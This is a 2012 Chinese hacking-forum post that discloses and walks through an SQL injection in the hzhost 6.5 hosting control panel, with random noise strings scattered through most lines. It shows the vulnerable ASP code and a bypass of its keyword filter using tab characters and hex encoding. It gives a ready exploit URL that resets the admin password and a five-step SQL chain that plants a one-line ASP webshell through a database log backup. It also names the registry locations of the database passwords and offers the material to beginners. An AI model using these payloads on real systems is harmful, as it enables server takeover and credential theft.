找回密码
 立即注册
查看: 2691|回复: 0
打印 上一主题 下一主题

再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 15:03:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。- p: D+ a; P5 @1 }$ X" N7 @+ V
只讲两个要点。
- f; y/ P' \/ J' `5 }" w第一,如何拿网站管理员权限。0 |# u, g; f, b6 u# j* t
第二,如何备份木马。$ H; N% E- c3 K7 \0 k
这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。2 |/ H9 r- s8 C  j, X
我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
' u: s- x: u/ ~httP://www.xxbing.com QQ1787373152 Y! ]7 T' {5 m- {1 h: Y
由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。: X3 E7 y+ w# ]( _
------------开放浏览-------------
" W* ]: `# c- H$ V4 p" m+ i 漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!6 J4 r* V1 w' h
-------------------------13-15行----------------------------' N6 y* ^7 N8 h% Q
querytype=SafeRequest("querytype")  //saferequest函数接受数据- \4 n7 I8 ^7 i" f  y
if chk_int(querytype)=false then  //检查是否是整数
; w4 K6 Q8 E' U0 t, I! t& s# D    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."
" s+ ]) b  y/ i/ o -------------------------37-42行---------------------------
) X% v" a5 M' j elseif querytype=5 then //如果类型为5。就接受qu1数据!
+ @- r# O% B) q- j' s) z+ {( v   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!
  N6 M6 G# e1 S7 Z" o   $ {. o( @+ ^  b4 P4 g
    if  qu1="" then  //不能为空
7 {. C, E0 s% q2 `3 x7 W& g         call errorpage(-2,"对不起,请选择参数!")3 k) a- x% F9 L  u9 P+ M$ F
   end if         
" Y( N, ~" y1 g4 X( A8 v' Z0 j/ {1 s      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!
/ Q+ b# F9 O( Y( J  H -------------------------62-65行---------------------------6 Q% `2 W0 H% q" B9 X
qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据! E+ w( ^- E* N0 f8 m+ @+ [
if qu7<>"" then- J( [, V, s  `5 _9 P
qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!
+ m' o7 B* C, B. ?( ~: C3 H! x end if / L# H  ]7 E( l5 S% B( Y5 Z
--------------------------117行-----------------------------" m- ^) F8 V5 ^. y8 G
query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring
9 |4 ?& E9 U6 u& I4 X //到这里就丢进去查询了!( j0 A1 Y1 g6 I/ w9 p2 Y2 d6 B' k
7 n0 c" T( j& V' P
来看看saferequest()函数。
7 M, n6 B! W6 F------------------incs/config.asp中-------------------------) y! `4 R- I( ]9 b
Function SafeRequest(ParaName)
: i9 g5 C3 \2 t Dim ParaValue 7 J$ V0 [$ ^8 T: m# y3 c
ParaValue=Request(ParaName)  //获取数据# _+ I( \% G/ o' M0 [3 [* U
if IsNumeric(ParaValue)  then  //如果是数字* E4 a, q3 B4 i$ V& Y5 I, C
SafeRequest=ParaValue  //那就不过滤,直接赋值
/ w/ Y7 @4 ~( Q" O+ |+ Y# o7 n exit Function- m( Q0 t4 H" X8 G3 _( r& S

; U8 S% k1 j( z9 M  j else
8 W! P# y; Z9 g ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写
% ?; h, K+ X  L2 N tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
% h$ y) ^! N, c+ m! G+ L! F //定义要过滤的字符!; ?; j0 D- |: e0 v5 j# v0 u
" J' h. |8 p8 _/ L& l1 b
他过滤方式有问题。。。没有过滤 * / % / -- / ;+ \& @! y' _! U) @" y
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
5 L1 D/ X6 j9 ~; Z6 a4 d- T
+ w$ u( R# C' {/ e; H% B1 A7 r temps=split(tempvalue,"|")           //转为一维数组
8 o1 S+ X" J5 N0 ?7 l/ q0 M for mycount=0 to ubound(temps)       //循环读数组内数据: X3 X$ y# |, ]$ u: F! I8 X/ f4 L/ G! |
if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。3 v/ y- g; f1 B
                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!- U' e1 F; R. N+ z' c- E
                 response.end/ N$ G6 U0 b6 S0 E% [( q6 \
end if
4 c, Q' |/ J6 V8 ] next3 d- H5 E! A0 A6 l
SafeRequest=ParaValue
2 c& b+ [" c% t2 t9 C end if
% Y6 c9 v) y, J$ N2 V8 u End function
. |9 b  j, H+ L  E( T) P -------------------------------------
# q" B$ y! f" b1 N& [$ @5 |% [( ~
8 n3 s4 y$ G6 A& y% M0 `- z6 u+ A 所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。1 V1 I! \! f+ C
先给出查询语句的框架。8 K9 F( T4 s7 i% _8 [( n; q
select * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc
& G. }( Z: V" m! m$ i! w6 q
, o* g! x. W* a9 L! Y 为了使语句顺利执行:& S! Y6 v" `- f" [* g" p9 G
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。% Q6 z" j$ B2 [$ |. m
这里我给出条示范语句,即{我们的语句}
$ W$ h/ w; p! [$ ^& CUPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E
+ i/ ^6 ~+ @3 b6 v" u3 M: _
) {  B7 ^7 ?7 z  l* ?# {这条语句能够绕过saferequest函数的检测。没有出现单引号。
; Y* s. F4 J+ e. w 我们提交:3 I  T8 o+ R5 S& B3 d0 ^
http://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
  ]7 q) o/ }% U4 I( \* H* F  N6 P2 U, O% Y, L
这句话就能够将admin的密码修改成123456! j/ K- ~$ [$ U2 c2 S- c3 d, F, ^# i
到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。% d2 X! }' [% D
第二步是要备份挂马。
* H9 ^* N3 K' R# | 大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(
( b* u5 [" M9 i) Z# A8 _, y: s" C5 d 导致备马的这条语句失败。& ?8 R7 |1 K8 v; h0 u
declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。9 E. L$ Q  _- C4 D# `

0 M& h$ V" _* j 有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。4 r# l9 a8 {9 I/ g
由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(
* L8 X, E8 {  N 接下来放出详细语句。大家放入{我们的语句中}
! E+ A! C) u) x+ u( P7 |第 一 步:+ Y8 Z0 p- b% W$ T9 b3 Z( X& g
create table [dbo].[shit_tmp] ([cmd] [image])--3 a/ h( s/ [, r$ V/ {
第 二 步
9 L0 m7 z% t6 a6 A; } declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
# f9 q* }, X5 F7 j! T9 e 第 三 步
; b( @. }7 N8 L# x insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
" Y. w6 I' W* o6 d' Y 第 四 步
7 g3 \! x. ^) o declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--2 ~9 l$ T/ O* t5 {5 W
第 五 步5 |' Y! \4 r) ?/ z
Drop table [shit_tmp]--/ l! b+ d6 U$ O& s
* ~7 T! A# V- m1 A
上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。+ [) Y- n* u7 x+ w
一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。/ J% b5 X9 ?" _7 j  w3 }
请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》
& D6 V3 r! k: i1 _( y  I! D: V1 G* U7 M" E- V, [4 s: N
最后是答疑部分:
% f- R- w* p" j& I' E8 c' V/ H 1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。
. {+ m( `, k4 P: Q, X: U) O3 Y) E
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
5 D) r9 {- }& e2 V2 V; K% L! l 这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:, C; W0 u9 e+ d/ _2 F" A
0x6531306164633339343962613539616262653536653035376632306638383365, Y8 h" D) T! F
大家仔细观察,会发现,其实只是去掉了一些00。。
5 n8 I- n9 p" a. h& z& \ 所以大家在转换其他md5的时候,注意此问题。( C1 D' X* X! D( R& \* F

8 m$ ~5 d$ J- Y: T 3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。0 M) z% d& {5 a) r$ i# J
另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。* \' ]% E2 A- {  N3 ~0 u# \: P9 s
" r, Q' [1 F3 |" f. l
4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。
- ]: w$ x, J& |. { 有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
% W) z! E" i+ x& H- O7 w" N
" A+ Q( {7 V4 r$ X% Y 5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。
1 P/ Q) d4 m- Q' v: h
4 n9 l# f# C& }, Q2 f3 R1 ?3 B 6::
# p0 y( Q$ v2 G! I( I% Qsa密码。root密码。$ ?4 p# W  K( \& v
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\* ?; p" G3 X0 e, T
mysqlpass---root密码+ g1 \8 H) r, }) D: m" y+ `8 Q
mssqlpss----sa密码
9 q1 e, |+ [: B% s
, E. c+ V  `+ d- m) v5 ]
# D" R3 J6 `2 t9 N- z 7.如果路径不在D:/hzhost
/ j4 B1 a; B: v& X8 [1 f2 T 那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。" Q/ @* U+ b- R  b
或者去读注册表。
& G  P  K1 |6 p) E/ k6 n HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下# g7 L; k$ U  T
"wwwrootpath"="e:\\wwwroot"
7 e, h3 w; j; h2 ?2 x; p' n "urlsiteroot"="D:\\hzhost\\hzhost_url"
9 ~. g3 H' L2 i2 I6 ] "ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)
3 j6 ]$ S2 |/ P$ R0 E 大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!+ F! M  e5 M; r) Y$ |- u0 k
$ v8 u( J/ I+ l6 b3 M
利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)6 g! g. p0 M0 L, s  {* l4 z& m
hzhost最新漏洞.rar2 y. C, `9 a5 u7 g
饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!
1 Z1 R# k  @8 A! V2 k
/ I$ b2 i$ S# N9 h- b" [  _ 最后,还是版权。. [& R; ]( L% z. v( Z5 b8 ?7 Q
http://www.xxbing.com QQ178737315
" h' U" f! ^$ ]0 _% S4 f 允许自由转载。但请注明作者。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表